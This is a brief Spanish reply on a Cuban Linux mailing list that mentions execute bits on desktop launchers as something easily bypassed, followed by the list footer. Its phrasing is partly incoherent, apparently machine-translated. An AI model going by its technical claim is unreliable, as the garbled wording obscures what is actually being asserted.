herghost @: Gracias por los comentarios. Sí, la comodidad son factores 
que el problema aquí. Podrían ser fácilmente eludido por los bits que 
requieren ejecutar en los lanzadores.


---------------------------------------
    Red Telematica de Salud - Cuba
          CNICM - Infomed
_______________________________________________
Cancelar suscripción
https://listas.softwarelibre.cu/mailman/listinfo/linux-l
Buscar en el archivo
http://listas.softwarelibre.cu/buscar/linux-l

Responder a